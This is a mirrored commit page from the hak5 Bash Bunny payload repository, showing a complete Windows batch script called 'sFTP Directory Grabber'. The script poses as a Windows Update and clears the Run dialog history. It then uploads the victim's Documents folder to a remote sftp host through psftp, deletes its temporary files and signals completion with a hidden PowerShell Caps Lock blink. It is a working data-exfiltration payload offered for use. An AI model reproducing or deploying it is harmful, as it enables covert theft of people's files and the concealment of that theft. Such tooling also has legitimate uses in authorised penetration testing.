hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Moved sFTP Directory Grabber payload to recon directory

Browse Source
This commit is contained in:
Darren Kitchen
2021-08-24 09:38:52 -05:00
parent 1efd6a1116
commit 1b042f6f2d
5 changed files with 0 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

36
payloads/library/recon/sFTP_Directory_Grabber/e.cmd Normal file
View File

@@ -0,0 +1,36 @@
@echo off
@echo Installing Windows Update
REM Delete registry keys storing Run dialog history
REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
SET sftphost=username@hostname.domain.com
SET sftppass=password
SET lootfrom=%userprofile%\Documents
SET looto=/loot
SET unique=%RANDOM%
REM Create FTP script
@echo lcd "%lootfrom%" >%TEMP%\test2.txt
@echo cd "%looto%" >>%TEMP%\test2.txt
@echo mkdir %computername%_%unique% >>%TEMP%\test2.txt
@echo cd %computername%_%unique% >>%TEMP%\test2.txt
@echo mput -r *. >>%TEMP%\test2.txt
@echo quit >>%TEMP%\test2.txt
REM Below is for copying a directory with a payload inside the root directory of the Bash Bunny USB Mass Storage.
REM echo d | xcopy /C /Q /Y /E %~dp0\..\..\PAYLOAD_FOLDER_IN_ROOT %TEMP%\PAYLOAD_FOLDER_IN_ROOT
REM Copy payload.exe from the root of the bash Bash Bunny USB Mass Storage (change to whatever you like).
copy %~dp0\..\..\psftp.exe "%TEMP%\psftp.exe"
REM Below is for executing a payload inside a directory (see comments above). Change --startup to whatever parameters you wish to pass (or remove it).
REM start "" "%TEMP%\PAYLOAD_FOLDER_IN_ROOT\payload.exe" --startup
REM Launch payload.exe with the startup parameter. Change --startup to whatever parameters you wish to pass (or remove it).
start /wait /min "" "%TEMP%\psftp.exe" -pw %sftppass% %sftphost% -b "%TEMP%\test2.txt"
REM Clean Up payload parameter files
DEL %TEMP%\psftp.exe /q
DEL %TEMP%\test2.txt /q
REM Blink CAPSLOCK key (from usb_exfiltrator)
start /b /wait powershell.exe -nologo -WindowStyle Hidden -sta -command "$wsh = New-Object -ComObject WScript.Shell;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}');sleep -m 250;$wsh.SendKeys('{CAPSLOCK}')"
@cls
@exit